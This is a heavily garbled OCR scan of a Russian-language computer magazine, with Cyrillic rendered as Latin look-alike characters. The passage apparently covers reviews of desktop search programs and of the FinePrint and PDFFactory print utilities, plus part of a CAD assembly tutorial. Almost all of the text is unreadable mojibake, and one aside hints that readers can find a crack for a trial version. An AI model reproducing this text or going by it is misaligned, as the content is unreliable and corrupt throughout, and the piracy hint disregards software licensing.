fyYlmnx nporpamm 3toro knacca. Paspa-
BOTUMKAMU NPOrPAMMBI ABMRETCA XAPbKOB-
ckas dbupma « META Inc.», nssectHas ceo-
el NOMCKOBON MAWUWHOW YaHeTa meta.ua.

Mporpamma NPOU3BOANT NONHOTEKCTO-
BHI NOMCK B TekcToswix darinax — doc,
txt, html. OrponunyenHsii Habop aoctyn-
HbIX ONS APOCMOTPA GAWNOB, NOXONYH,
eauHcTBeHHbIM HegocTaTok DiskMETA.

[Mpu 3ToM Nporpamma NpepocTasnsier
YAOBHBIE BOSMOXHOCTU NO YNPUBNEHMIO
NOVICKOM.

Mpu ycranoske DiskMETA moxHo 3a-
AQTb TUN MHaexcupyemsix Gaunos u ob-
NACTH MHAEKCAUMKM — BbIBPATE AMCK W OT-
METWTh MANKK, COAEPXUMOE KOTOPBIX He-
obxoaumo npouHaexkcuposats. CosnaHue
WHOEKCO Peanui3oBaHO B BUaE yaoGHOro
Macrepa, Bo Bpemsi paboThl KOTOPOro B
NOLAroBoOM pexume 30AAI0TCH NAPAMET-
pbl MHaekca. Ha nocneaHem ware nons-
30BATENb MOXET YKO3ATH PA3MELLEHKE UH-
aekcHoro danna. B okHe nporpammesl Ha-
TNIAHO OTOBPAXABTCH NPOUECC CO3RAHMS
uHpekca (pme. 8).

Puc.6

It0 noseonut BeicTpee NnpounHaekcu-
POBATHL HyXHbIE OBBEKTHI, BEAb QOKYMEH-
Tol OBBIMHO CTAPQAIOTCA XPAHUTL B He-
ckonbkux nankax. Kak pas ux u HyxHo
BKNIOYMTL B WHaekc. bnaropaps stomy
unaekce DiskMETA moryt sawnumats
meHbwe mecta. Ele oaHnum ynobrem pe-
WeHem CO30aTENEN NPOTPAMMEI SIBMIS-
€TCA BOIMOXHOCTb MOAREPKKU HECKONb-
KWX MHOEKCOB. A NpM NOMCKE NMONb3OBA-
Tenb YKA3LIBOET UHAEKC, B KOTOPOM Clle-
ayet nposectu nouck. DiskMETA noseo-
NSET CO3A0BATL, YAAQNATH, NEPECTPOM-
BATb MHAEKCHI.

Kpome CTaHAOPTHOTO nouvcka AoCTy-
NEH NOWCK B HOMAEHHOM, O TOKXKE PacLM-
peHHsIR nouck. B 3tom cnyyoe moxHo 3a-
00Tk OFPAHWYEHWE NO ACTE W 304ATsL A0-
NONHWTENLHLIE YCNOBKMA AN NOMCKOBOrO
3aNpPOCa — «TOYHOE COBNAAEHMEY, NOUCK
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NoBOro U3 CNOB MAK NOUCK, UCKAKYAS He-
koTopeie cnosa (puc. 7).

Ewe oanum GeccnopHeim npevmyule-
CTBOM NPOrpammsl fBNSETCA yaobHas cuc-
TEMA MOMOLWMN.

Opyrve Bepcuun nporpammsl — Disk
META-Personal v DiskMETA-Pro — crost
o1 $19.5 no $97.5. B H1x pociimpeH cnu-
cok nogaepxusaembix Gopmatos Gannos
U CHATO OFPAHWYEHHE HA KONMYECTBO dai-
nos B ogHom uHaekce. A sepcus DiskMETA-
Workgroup ymeet pabotate ¢ chm-dai-
namu u GarNamMK GPXMBOB Zip U rar, a Tak-
xe ymeeT 06pabaThisaTs BOKYMEHTbI, PA3-
MELLIEHHbIE B NOKANbHOW CETU.

v Nuwerika {www.isleuthhound.com)

310 pa3paboTka yxe AdBHO YCNeWwHO
pPaBOTAET HO PLIHKE NOKANLHOTO MOMCKA.
Mepen Hauyanom paboTsel nporpamma nNo-
380ONSET CO3AGTE 30HY NOUCKA, YKA3AB TH-
net darnos, 8 kotopbix Oyaer npousso-
OMTLCA MOMCK M MHAEKCUPYEMbIE NAMKK.

Mhaexkcaums He npovcxoaut B GoHo-
BOM PEXMME, KAK 3TO PEANU30BAHO B APY-
rux nporpammax. Tonsko nocne sosepule-
HUS MHAEKCALMM BO3MOXHO MCNONL3OBATH
nporpammy ans novcka {puc. 8).
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CnegyeTt 0TMETUTh, 4TO pacCcMaTpUBae-
MQ$ BEPCHS MPOrPAMMbI PACMO3ZHAET TONb-
ko doc, txt, html-bawne. Jonyckaetcs nn-
nexcauns tonsko 500 pokymenTtos. B sep-
cun VLLEMKA MPO® 1ot cnmcok 3wo-
YUTENLHO PACWMPEH.

PaBorta nporpammsl npedycmaTpusaet
HE TONLKO HECKONLKO BMAOB noucka. Me-
HeaXep 30H NOUCKA NO3BOAKET YNPABNATL
MHOEKCAMM, MX MOXHO 10BGBNATL, YOANATS,
OBHOBMATH, rPYNMMPOBATL B NANKM.

MonyyerHsin cnucok GannoB coaep-
KUT HO3BAHWSA U LMTATY, COAEPXALLYIO CNO-
BA NOWCKOBOTO 3aNPoca.

Oyerb yaobHO peanr3osaH NpoCcMoTP
conepxumoro ¢pannos. Bo-nepebix, Te He-
CKONBKO CTPOK LUTATH, OTOBPAxXaemon B
CNUCKe HaiaeHHbIX Gannos, MOXHO NPO-
KPYUYMBQTH C MOMOLLBIO CNEUNANbHBIX KHO-
nok. A BOCMONb3OBABWIMCE KHOMKOWH «[1po-
cmOTPY, MOXHO 8 okHe MULLEMKA oTo-
Bpasute 06nacTs AN8 NPEABAPUTENLHOTO
NPOCMOTPA HAMAEHHOTO $anna.

Kpome 310ro, yao6Has HaBUraUMOHHAS
NaHens NO3BONAET NEPEMELLATECS NO CMK-
CKy HOMOeHHbIx Gannos.

WLLIEMKA nossonseT xpaHuTs 3anpo-
co B pasgene «M3b6parHoes. Pacwmpen-
Hbi MOWCK AQET BO3MOXHOCTb MCMONb30-
BATb AONONHWUTENLHBIE MNAPAMETPLI NOWC-
KQ, 3A€Ch MOXHO 304QTh OrPAHUYEHKE NO
0ATE, UMEHW U MECTOPACNONOXEHMIO bON-
na. Cospareny Nporpammbl TOKXe NPeRy-
cMmoTpenu nouck B MHTeprete.
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Makcum OPO3AYH

I_have_questions@inbox.ru.
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apascreyite, umutatenu MK! Ceropgrswnni Haw pasrosop

7 xoten 6bl Ha4aTh € HEBONLLIOTO NPUMEPA W3 CTYOEHYECKOM

xu3HK. Xun aa BN He OYeHb NPUNEXHBIA CTYASHT, K NPULLINO

BpEMA emy COOBATh 3K30MeH. Y cTyneHta Bbin KOHCnekT
nekuni B popmare A4 1 OrpOMHOE XENOHWE CAENATL U3 HEro
wnapranky. Kro npo6osan, 3HAET: HA KONOHKM KOHCNEKT
pa3buBaTe HeyaoBHO, 3TO 3OHUMAET MHOTO BPEMEHW U BEYHO
4TO-HUBYAb BHIXOAMT He Tak (hOPMynbl BHAQ3ST 3a KONOHKM,
DUCYHKM He nomewanTtcs v np.). EguHctBenHsin Bbixoa —
YMEHBLIMTL KOHCMEKT A0 <KAPMOHHLIX» pa3mepos. CTyaeHTsl,
cnywante u s3anomuHante! flyywe scero cnuceiBath € KOHCNEKTQ,
YMEHBLLUEHHOTO B WECTs MW Bocems pas, wpndt Times New Ro-
man unn Arrial Narrow, 15 nyrkros.

ECTb HECKONBKO BAPMAHTOB «NPOWM3BOACTBA» TAKOMN LUNOPLI:

1} pacneyaTaTts KOHCNEKT U yMEHbWUTL HO KCepokce (He
NOAXOAMT — YACTO NONYYAETCH HEYUTAEMAS MA3HS;

2) BoiBECTH HO NedaTs 6 unu 8 CTPAHML KOHCNEKTA HA OQHOM
NUCTE (TONBKO eC APARBEPLI NPUHTEPA MO3BONSIOT 3TO CAENATH —
TAKOE yMEET He KaXObii ApanBep).

Kak euante, He sce Tak nNpocto. MeHs B TAKOW cuTyaumw
cnacna nporpamma FinePrint {nocneprioio sepcnio Gepem otciona:
www fineprint.com/release/fp541.exe). Hanucanu ee Jonathan Wein-
er n Mark O’Brien, 3a 4to um Bonbwoe cnacubo.

FinePrint

Ecte Heckoneko BepCMi 3TOM NPOrpamMbl, HAC MHTEPEcyeT
BAPUAHT ANs OBbIYHBIX KOMMNBIOTEPOB (CEPBEPHAN BEPCHA MANO
4em OT Hero otnuuaetcs). floBopo cpasy — kakne OrpaHuyeHns
B TPUANEHOM BEPCUM, s HE 3HAKD, TAK KOk PaboTan TombkO ¢
3aperncTpuposaxHon. Knoy nponuceisaetcs rae-1o 8 peectpe,
NO3TOMY CAENATH M3 HEE ONATL TPUANLHYIO CIOXHO.

MTaK, OCHOBHBIE NMPEMMYLLECTBA MCNONL3OBAHMA QOHHOTO
NPOAYKTA:

1) BO3MOXHOCTb KOHTPONA Nevatw u3 NoGOK NPOTrPamMmsI,
KOTOPQA NOAAEPXMBAET BLIBOA HA CTAHAAPTHLIA NpUHTEP 8 Win-
dows;

2) pexum NpoOCMOTPA Pe3ynsTaToB CAENOHHbLIX HACTPOEK;

3] yaobrein (kak no mHe) uHTepdeic;

4) Heckonbko pexumos neyatn — no 1, 2, 4, 8 cTpanuy Ha
0AHON DOAKTUHECKOM, NEYATH KKHWXKOM» (rOCNOAA NO3TH — 3TO
CNEUMantHO AN BAc);

5) noanepxka ABYCTOPOHHEN Neyatu (B OTAMuME OT MOero
CTAHOAPTHOTO APAMBEPA CTPAHWLE NEYATAIOTCA B HOPMANEHOM
nopsaake);

6) Hanuume ynobHoro mactepa ans KOHOUIYPUPOBAHMSA
NPOTrPaMMbl 04 BAW NPUHTER;

7) sxoHomMuA Bymaru u yephun (ans obucos — TO, 4TO HAAO).

Henoctarku:

1) nemer npocur;

2) aHranirckun untepdeic u anrnuickas Cnpaska (pycudu-
KATOPbI B MIHTEPHETE €CTh, HO WX NPUAETCA NOMCKATE — CCHUKM
AONTO HE XUBYT;

3) HOCTPOMKM NPOrPAMMA NO YMOMHAHUIO COXPAHSET MO aapecy
«Mou nokymentsi\ FinePrint files». 210 MOXHO M3MEHUTL HO BKNOLKE
«Settings», kHonka «Folders...». A nyuwe opud pas nepeHecute
nanky «Mon aokymenTsi» ¢ aucka C: — TGk Bbl HE noTepaete
CBOW AGHHBIE NPWU OYEPENHOM GOPMATUPOBAHUM CUCTEMHOTO
AMCKA.

Yrobe otnpasuts pokymeHT 8 FinePrint, ero neobxoaumo
BLIBECTW HO Ne40Thb kaK 06biuHO. B cnucke npuHTepos subupaem
npuntep «FinePrint» 1 oTnpasnsem AokyMEHT HO Hero.

A Bxon B yronok maHwaka

Kak paboraer FinePrint? lporpamma  dakTuyecku
CTAHOBUTCA MEXAY APYTMMU MNPUNOKEHWUAMU W DUINHECKUM

NPUHTEPOM. DTO AOCTUTAETCH NYTEM CO3LAHUA KBUPTYQNBHOTO
NPUHTEPA», KOTOPLIA BCE OCTANbLHBE  NPUNOXEHUS
BOCMPUHUMOEBT KAK «HACTOAWMAY — dusnyeckni (OH Takxe
otobpoxaetcs B nanke «[lpuHteps u dakcen [lanenn
ynpasnenus Windows XP). Takum obpasom obecneynsoercs
BO3MOXHOCTb NnonydeHus aanHbix u3 NIOBOTO gpyroro
NPUAOKEHUS, ECTIM OHO NOAAEPXMBAET CTAHAAPTHLIE NPOUEAYPS!
86i80aa UHbOPMaumKn Ha newats 8 Windows. «BuptyaneHsie
NPUHTEPBI» YMEIOT CO3AABATL U APYTHE NPOrPAMMS, HOMPUMED,
Venta Fax (depe3 Hux nporpamma nevyataer nonyyeHHsie
baxcumunsHbie cooblenns) u ap.

‘ BbIXOA M3 Yronka MOHbLAKGA

BmecTO CTAHAGPTHOTO AMANOra YNPABAEHWS BALMM NPUHTEPOM
NOSBMTCH OKHO HACTPOMKM nevatw FinePrint (puc. 1).

L Puc.1

Ha sknagke «Preview» 3T0r0 OKHO 4yTb HUXE HOXOAATCS eLle
aee Brnoakn — «obs» u «layouty. Mocnegmas nossonseT BuibpaTh
NPeacTasneHue AOKYMEHTA HA Bymare: ects BAPUAHTL NOAAYM
npokymeHta no 1, 2, 4, 8 ctpanuu Ha oaron dusnveckor. Bapuart
«Bypass» Nno3BONSET OTNPABUTL AOKYMEHT HO NEYATH, MUHYA
FinePrint {31a onuws noneswna, ecnu FinePrint BoicTaBnen kak
NPUHTER N0 YMONYAHWIO, O BAM HE HYXHO AENATb AONONHUTENbHBIE

HOCTPOMKK).
Bapwart «Booklet» npegoctasnser BO3MOXHOCTL BEPCTKM
«KHUXKOW» — nocrne newat npocto crubaerte nauxy NucTos

Nononam v nonyyaete rotosyto Bpowiopy. Ecnn npeanonaraetcs
NEUaTsh KKHUXKOMND AOKYMEHTA C BOMbLIMM KONMHECTBOM NIUCTOB,
10 Ans Gonblwero yaobcTBa Ha Bknagke «Seftings» NpeaycmoTpeHa
onums «Print as sub-booklets». Yctanoeka 310l onummn (ans ee
MCNONL3OBAHUSA HYXHO TAKXE BKIIOUKTE nepeknodatens «Book-
let» Ha Bknoake «Layout») nossonser pacnesaTate AOKYMEHT TaK,
4Tobb CknapbiBaTh €ro Huino ynobree.

Yro6b nyuwe pazobpatscs B paboTe NPOrPAMMSI, BO3bMUTE
Kako#-HMByae aokymeHT (Hebonswon — crpanuy  10),
npoHymepyiite B Bopae sce ctpamnusl, otnpassTe 8 FinePrint n
no3KCrepuMeHTMpyiTe ¢ onumei «Print as sub-booklets» u
YCTAHOBKOW KOMMYECTBA NMCTOB (PAAOM C Hel) B kaxmom cyb-
Byknete. DbdexT oT 3TOM onuuK CBOCOBPA3HLIA, HO CKNAALIBATL
NONYUYUBLLYIOCH KHUXKY AEACTBUTENBHO NPOLLE — TOMLKO CTPAHMLL!
He nepenyTanTe.

WMntepecHa Takxe onuus «Repeots (Bknaaka «Layouts). Kak
oHa paboTaeT, 3 O6BACHIO HA TAKOM NPUMEPE: AONYCTUM, HYXHO
pacnedarats obvaenenne. Hobupaem ero Ho opHom nucte Ad
u otnpasnsem Ha FinePrint, notom subupaem «Repeats, u MOxXHO
noabupaTh HyxHeli Ham pasmep ot 1/2 ctpannus go 1/8 —
AGnblie PACNEuOTHBAEM W PO3PE3aem (MOXHO no-BbicTpomy
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PU3OPEATE C NOMOLWBID NKWHENKM, 8 TAK 4ACTO Aenaw) — sce  uHTepdeica komanaHoi crpoku). Ceexas TpuanbHas sepcus
NeXUT 3aech: www.fineprint.com/release/FppPro241.exe. [oe nexut
kpsik, uumte camu ©. PaboTtaer oHa NoO TOMy Xe NPUHLMNY, YTO
u FinePrint (v aBTOpH Te xe€|, nosTomy cpasy nepeinem K
HacTpolkam. [nasBHoE CKHO NPOrPaMMBI NOKA3AHO HA PHUC. 2.
Bknaaka «Preview» nos3Bonser npocmMOTPeTh PesynbTaTsl
Hactpoek (s okHe nNpocmoTpa dakTuieckoro nucta pabotaer

roToeo, HHICTPO M yaobHO.

Teneps o HioaHcax paboTel ¢ nporpammon. Ha sknaake «Lay-
ouby cnesa ecTb BLINAAGIOWMIA CNUCoK «Margins» (k1O He 3HaeT,
NO-PYCCKM 3TO 3HAYUT «MONS CTPAHULLI), BLIBpaT moxHo small —
manerbkue, medium — cpennue, large — Gonbwue u original —
KOK Y OPUTMHANBHOTO AOKYMEHTA. Tak BOT, uem Bonblie nons,
TeM MEHBLLE PA3Mep WPKHdTA HO UCTE — TAK YTO HE YBNEKAUTECH.

Euwe ects oueHb nonesHas onuus «Borders» (Fpanunusl), oHa
noasonseT pasrpaduts duamnieckui tuct. (1o 3Tum nuHuam yaobHo
NOTOM PA3PE3ATh €r0 HA CTPAHWLbI. [ONbKO BAPMAHT TPAHML,
«Smart» KAKOR-TO HENOHATHBIA — HO, MOXET, KOMY-TO NPUIOQNTCA.

Huxe ects nepeknioyatens «leave room for guttersy — om
OCTABNSIET HA MCTE MECTO NOA AbIPKM ANS CluMBaHUs. Ewe oamH
nepeknoyaTens YOMpaeT u3 AOKYMEHTA BCHO fpaduky — OH TOK
u HO3bIBAETCS, «Remove graphicsy, a 8 none «Stationery» MOXHO
BbI6PATH BLIBOA CNYXEOHON MHDOPMALIMKM MK KBORSHBIX 3HAKOBY
(o Hux uyTs noaxe).

Heckonbko cnos o6 okHe npeanpocmotpa. Kpome npocmotpa
PE3YNbTATOB HAOCTPOEK B HEM MOXHO KOMOHAOMW KOHTEKCTHOMO
MEHIO YBENWYWUTL MKW YAONUTE NOBYIO CTPOHULY AOKYMEHTA
(yAaneHHbie CTpaHMLB MOXHO NOKA3ATE CHOBA C MOMOLLBIO ONLMM
«Show deleted pages» — sHu3y Ha Brnaake «Layout»), ckonuposats
duanuecknin nuct B bydep obmena u np.

OcTanbHble BKNAAKK NO3BONSIOT 30AaTh paboty ¢ BnaHkamm
(FormFactory), sapate otobpaxenne Ha nuctax cnyxebHOM
undopmaumm (Stationery} u np.

Y1066 Thl, YnTATENb, BAPYF HE 3ACHYN HAL STOM CTATHEW,
PACCKOXyY, KOK CAeNaTh C nomowsto FinePrint npukon-«sopsHoM
3Hak» «CoBeplierHo cekpetHo». [lns 3toro Ha ekaapke «Sta-
tionery» cospaem HOBYIO HoanMce (kHonka «New..»), a BHU3y
BknlOYaem nepekniodatens «Watermark» u 8 none pspom ssoanm
HGWY HopNMCk. Ha 3TOM BKNADKE MOXHO 3a40Te OTOBPAXEHWE
HOANMCH HO KAKAON CTRAHULE WM K4EPES BECH NMCTY (dusnyeckmi),
NPO3PAYHOCTL HOANMKMCKH U NR. YT06b OTKNIUMTL OTOBPAXEHHE
TAKOM HAAMUCK, HYXHO HAa Bknagke «Layout» BHM3y B none «Sta-
tionery» eeibpate «/Nonex. Ha nncte caenanHbii «BoAAHON 3HAK»
Byrer HopucoBaH kak Bbl 3a TekCTOM — o4eHb Gonbwoe none
nestensHoCTu ans npukonucta ©.

Mepen OTNPOBKOM [OKYMEHTA HA MEYATH AN AOCTHXEHWUN
NY4WEro pe3ynsTaTta HyXHO HACTPOWTE MEOrPaMMy Ha paboTy
C BaWwmm Pusnyeckim npuHtepom. Belbupaem sknaary «Previews,
BHU3Y B CMIMCKE HAXOAUM HYXHbIM MPUHTEP W, Haxas kHonky «Op-
tions», NONOACUEM B OKHO HOCTPOUKM DU3MHECKOrO MPUHTEPQ.
Hcc untepecyer khonka «Wizardy Bunsy okHo, koTopas sanyctut
MACTEP HACTPOWKKM NPOTPAMMbI HO BAW NPUHTEP — NPUAETCS
OTBETUTL HO HECKOMBKO BOMPOCOB W UCNOPTHUTL HECKOMBKO IMCTOB
Bymaru, 310 NOTOM MOXHO HE BECNOKOMTLCR O Pe3yNbTATE, BCE
Byner kak Hano.

H1obbl HANEYATATb LOKYMEHT, HQ BKAGAKE «Preview» Haxumaem
«Print». 3pech xe MOXHO 300ATb KOMMYECTBO KOMUIA, BKIMIOYMTS
NP HEOBXOAMMOCTH ABYCTOPOHHIOK NEeuaTh, COXPAHWUTHL
pe3ynsTaThl PaBOTH NPOTPAMMSI M NIP. — A TAKXE KOHBEPTUPOBATH
CO30aHHbIM nokymeHT B dopmat PDF ¢ nomowpio ewe oaHown
MHTEPECHOW NPOrpammsl, kotopas Hassisaercs PDFFactory. O
HEW U NoWpeT peyb BO BTOPOW YACTU MOEW CTATbU.

POFFactory

PDFFactory nossonser koHeeptuposaTs B popmat PDF ganHsie
13 NOBOTo NPUNOXEHNS, KOTOPOE B COCTOAHUM BLIBECTW WX HO
neyats ©. MNopaepxmsaoTcs Bce HEOBXOAMMBIE «HOBOPOTHY —
30WWNTA OT M3MEHEHWA, HONMMYWE 3AKNOLAOK WM COAEPXAHUS
AOKYMEHTA W Np.

Mhe nonanack Pro-sepcus storo npoaykta ans obsiumsix MK,
MO3TOMY PACCKAXY O Hel (06bMHOA BEPCMA UMEET MeHbLe
BO3MOXHOCTEN, O CEpPBEPHAs OTNUYARTCH TOMbKO HAMUYUEM

MOW KOMMbIOTEP

v 4 oF

Yoo [ e ] see [ te I o= ] [@Fw ]
i e oo % | WAL
v 1

[ Puc.2

KOHTEKCTHOE MEHIO — NOCMOTPUTE, TOM ECTb MONE3HBIE QYHKLMM).
OB6s3aTensHo HyXHO BEPHYTLCS K HEW B KOHLE PabOTH W NPOBEPUTS,
410 Mbl HaTeopuiu ©. Cnenylowas BKNOOKA NPEAHA3HAYEHA AN
BCTABKM MCMOMNb3yeMmblx B BOKyMeHTE LipudTos 8 PDF-dbaiin (moxHo
BHM3y nocTasuTs ranky «Allways embed all fonts» — Ttorpo sce
WpudTE, KOTOPLIE WMCNONL3YIOTCA B  AOKyMEHTe, Oyayt
UMNOPTUPOBATLCA asTOMAaTHUYECKY). BeTaska wpneToe yBenuursaet
pasmep PDF-baiina, 3ato nossonser He Hecnokoutscs o Tom,
4TO 103ep OBMAMTCH M HE BLICTABMT MMBO, TAK KAK HE CMOXET
npouutaTs nokyment. MNepeknouyatens «Show fonfs» crasum B
nonoxenne «Fonts used in current document» — Torad
MMNOPTUPOBATECA BYAYT TOMBKO Te WPUbTH, KOTOPLIE MCNONB3YET
3TOT AOKYMEHT, O HE BCE YCTAHOBIEHHLIE HO KOMMBIOTEPE.

Ha ppyrux Bknagkax MOXHO 3040Th AOMOMHUTENbHbIE
napameTpsl Hawero Gauna U BBECTH CEPUIAHBIA HOMEP AN
perMcTpaumn npoaykta. HocTpoiku nporpammel HOXODATCH HA
BrNQAKe «Settings» — 8 aymalo, Bbl ¢ HUMKM pasbepetecs Ges
NPoBnem, OHKU NPAKTUYECKH HAYEM HE OTAMYAIOTCA OT HOCTPOEK
FinePrint. Knonku 8nn3y oxna PDFFactory nossonsioT npocmoTpers
co3aaHHsi davn 8 Bawem PDF-pupepe, coxparuts ero HO puck,
pPACNeYaTaTs UAKM OTNPABKTL NO NONTE.

loctyn k pononHuTensHbim Hoctponkam PDFFactory v FinePrint
MOXHO NOAY4YMTh, BHIOPOB CBOWCTBA MPWHTEPQ B AMANOrOBOM
OKHE BbLIBOAQ HA NEYaTh B BAWMWX NPOrPAMMAaX unu Boibpas
CBOWMCTBA COOTBETCTBYIOLWEro NPUKTEPA B nanke « lpuHTepsl u
dakcew {Ha MNaxenu ynpasnenns WindowsXP) u Haxas kHomky
«Hactpownka nevatuy.

1

BbiBoqbl

O6e paccmoTtpeHHble nporpammsl B Windows XP paboraior
CTabUnbHO M NO3BOASIOT 300bHTL O MHOIMX MNOCTOSHHBIX
NPOBREMAaX — PEKOMEHAYIO MX BCEM, KTO MMEET AENO C NEeYaTLIO
DOKYMEHTOB 1 cozaaHunem dainos dopmata PDF. K coxaneruio
HE MOy NONHOCTHIO NpoBepuTs ux paboty Ha Windows2000,
Me u 98, nosTomy Hudero o paboTe Ha 3TUX CUCTEMAX FOBOPHTL
ve 6yny (8 Cnpaske Hanucaro, yto 311 OC nopnepxunsaoTcs).
Ecnu BO3HKKHYT BONPOCH NO HOCTPOWMKE MW PaboTe ONUCAHHBIX
NPOrPAMM — MULIKTE MHE. TAKKE OYEHb XAy NUCem € Pabouvmm
cconkamu Ha pycudukatops ans FinePrint u PDFFactory.
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Koweu Kpbiwku u 3amok

CeoGoga wywwa, umolbl ee o2panuyuBams.
- Kuaie K3k y3naews, umo maxoe ceuboga?

oHeuHo, cBoB0aa HyxHa He Toneko ans 371oro. Owa

HYXHKQa, 4TOBbI €10 NONL3OBATLCS, M NONL3OBATLCA NPA-

BUNBHO. MTO 3HAYMT MPABUILHO? DTO 3HAYUT, TPAMOT-

HO €€ OrpaHWuMBATL B CBOWX MHTEpecax, Tem Gonee,
ecnu 370 He T8Os cBobona. Kak Bl NoHsNW, cerdac mei Hy-
AEM YUUTLCH TPAMOTHO OrPAHWYMBATH cBoBOAY HU B Yem He
NOBUHHLIX komnoHeHToe c6opku. Ho ana Hauana nasaite
pasbepemcs, 4TO CRy4uNOCh C KPbILKOM.

Buibpae How o6bekT v wenkHyB HO 3aknapke Mewneaxe-
pa CBOVCTB, Mbl YBUAWM EOWHCTBEHHbIA NYHKT, YKPALWEHHbIHA
u3obpaxeHem ckpenkun, — conpaxenne. [1pu nonsiTke OT-
PERAKTMPOBATL €ro (NPOBARA KNABUWA MBILIM>MYHKT KOHTEK-
cTHoro merio «PenakTuposats onpenenenner), nporpamma
BbIAACT COOBWEHNE O HEBO3MOXHOCTU TakoBOrO. [puanercs
noracute 370 conpaxeune (puc.1).

Puc.1 ConpsaxeHne Kpbiiki HO MecTe
Bbl yxe 3HOKOMbI C NOHATUEM B3QUMOCBA3H, KOTOPOE UC-
NONL3YETCA NPW PUCOBAHWU ICKM30B. 1AK KAK KOMMOHEHTHI
cBopOK TOXEe AONXHBI PASMELLOTHCS NO ONPEAENEHHLIM MPa-
BUNAM, ANS 3TOrO CYULECTBYIOT COMPAXEHNA PHC. 2.

A Bxon 8 yronok mawbska

Koe-kakas uHgpopmaums
O CONPAXEHMEX.

flengioomy SraeTe IdeRnce. Mpencraeete cebe, 4ro
KOHMOHEMT KOMOGHERT

- - BAC KTO-TO CNPOCUN: «IK,
aysok! Kyna Te 3acymyn 10T
KOMNAKT € MOMMU NIOBUMBI-
MU amnexamn» U sapuan-
Thl BALWETO OTBETA:

a) «Tsofi KOMNAKT MO-
XeT ObiTb TONLKO B OQHOM
mecTel»;

6) «[ocmoTpu Ha ctone, munsiiily (ecnu set xoTuTe nop-
CyHYTb BMECTO MOBUMbIX IMNEX NOPY «OTEOPHBLIX» XWUNEros
UMW BUPYCHAKOB);

8) «Mocnywante, muctep! Passe sbl He suauTe, uto ero
HUXHSS NOBEPXHOCTH COBNAQUET C BEPXHEA NOBEPXHOCTHIO
KPbILWKK CTONO (KOTOPAR B CBOK OYepeas PACNONOXEHA ro-
PM3OHTQNLHO,  COM CTON 30PUKCUPOBAH HENOABUXHO), NPa-
BAR HUXHAR KDOMKA KOPOBKWM NO KACATENbHON NPUAEraeT k
NOACTUBKE MOHMTOPA, O €r0 NEPEMELLEHNE B BEPTUKANBHOWN
NNOCKOCTH OrPAHWMYEHO MOUM MOBMNbHUKOM. Ho ero ewe
MOXHO MOBEPHYTL BOKPYT BEPTUKANLHOW OCHl»

Ckopee scero, How soobpaxaemsiit cobecenHnk otpea-
rMpyeT QAEKBATHO TOMBKO HA NEPBYID HPA3y, HO Mbl UMEEM
ageno ¢ CATP, v umeHHo nocnenHuii BapuaKT Byaet Bonee-
MEeHEEe NOAXOAFLUMM — HYXHO OAHO3HOYHO ONWUCHIBATL MO-
noxeHne obbLeKTA OTHOCMTENBHO OCTANLHLIX AETANER, MHA-
4e Npu nepemewieHnn KOMNOHEHTOB BO3MOXHbBI CHTYQuUnH,
CBOWCTBEHHLIE TONBKO M3MEHEHHbIM COCTOSHUAM CO3HAHMS:

B b, 3 *®

—
YCROBHWA CONPRMEHKA

Pazmewerse ABYX KOMIOHEHTOR &
B, cooTioens apy £ APITY.

Puc.2 Knonka ycnosus
CONpAXEHHS

aetanu ByayT NApUTL B NPOCTPAHCTBE, NPONETAn APYr 4e-
pe3 apyra. Yx rae-rae, G B HOWEM yTIOre 3T0 HegomnyCTUMO.
A Buixopn w3 Yronka mMaHbsKa

MHTennexkT Nporpammel NO3B0ONsSeT e Npeanarars Haubo-
nee NOAXOAfLME ANS KAXAOW CuTyauun conpsxenus. [o-

CMOTPMM HA NpUmepe.

| sy L ot

Puc.3 ConpaxeHus no sagHen creHke

Puc.5 BoipaBHuBaHHME KPbIWKH
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HT1o6bl ONpeaenuTs NONOXeHUe OTBEPCTUI AN Ocel, nep-
BOHOUYUNBHO HYXHO NPUBMNLHO PA3SMECTUTL KPBILKY HA KOP-
nyce. B poHHOM cnyvae 3a CNOBAMM «NPABMABEHO PA3MEC-
TUTb» CKPBLIBOETCS BOT YTO:

1) 3anHns cTeHka KpLIWKK W 3Q0HAR CTEHKG KOpnyca ne-
XQT B OAHOW NnockocTu {pue. 3);

2) KpLIWKA NAOTHO NPUNEraeT K BEPXHEN rPAHU KOPNYCa
{(puc. 4);

3) », HOKOHELU, TOBOPS NPOCTHIMKU CNOBAMM, KDBILLKA BOMX-
HQ POBHO NEXaTb HA KOPNyce. Tak KAK WUPUHA Y KPLILKK
W KOPMNYCQ OAMHAKOBASN, TO MX MOXHO BHIDOBHSTL MO OAHOM
ua 6okosbix rparen (puc. 5).

Ha 3tom 3tane HyxHo RODABWUTL B 3GAHEN 4ACTW KPbIL-
KW CKPYrNeHMEe, MHaYe OHO BNOCNEACTBMM HE CMOXET Bpa-
watscs Ha ocu. LlenkHys npaBoi KHONKOW MbILW HA KOP-
nyce, suibepute nywkt CkpeiTh, 4TOBL OH HaM He mewan. B
PEXUME PEAGKTUPOBAHMSA AETANM (KPLILKW) BOCNONL3YyATECH
komanpoin Ckpyrnerue, ero papryc ponxeH GeiTe PABEH TON-
LIMHE CTEHKW KDPMYCO — OMULIMTE 3TO yPABHEHWEM {pHUc. &)

D1@Ckpyrnenunel@KPHIUIKA _YTHCA.Part” = “TonumuHAa _
CTeHKMACTeHRY KprmKkME@KPHIIKA YTHOTA.Part

ﬂponenoeM OTBEPCTMA ANA OCeW — 3Ta NPOoUEesypa aHa-
NOFUYHA TOW, 4TO Mbl JENANW C KOPNYCOM, — WU YAQNUM NULL-
HUM MOTEPUAN B 3QAHEN YACTU KPbIWKK. B pesynbTaTe 4onx-
HO NONYYUTHCHA TAK, KAK HA PMC. 7.

Puc.7 3agHuk kpbiwkm

yQOﬂMM NUuwHNWE CONPAXEHNF-OTPAHUYEHNUA, HONOXEH-
Hbl€ HO KpPbIWKY, 1 OCTAOBUM TONBKO BbLIDABHWBOHWE NO

s

Conpunsins

6OKOBON CTEHKE M MOroweHHoe conpsxerne «Ha mec-
Ter.

YTo6bl KpbilKy BAPYF HE COPBANO, COBAMMUM €€ C KOP-
nycom ocsmn. Ocu co3naamm Tem xe NyTem, 4TO W KPbll-
Ky, — nobasnexuem HoBoW petanu B cOopky. Vix anametp
pPABEH AMAMETPY OTBEPCTWA, G ANMHA — N0 OBCTOATENLCT-
Bam. Hanpumep, MOXHO NOCTPOUTL OCh, NONYYMUB €€ KOHTYD
HQ TOPUE BLICTYNA KOPNYCO KOMOHAOM Npeobpa3osaHmns 0bb-
€KTOB M BLIQOBWB B OOHY W B APYTYKO CTOPOHL € PA3HBIMK
ycnosusmu, Bropyio 0ck nonyunm 3epranbHeimM OTPOXEHUEM
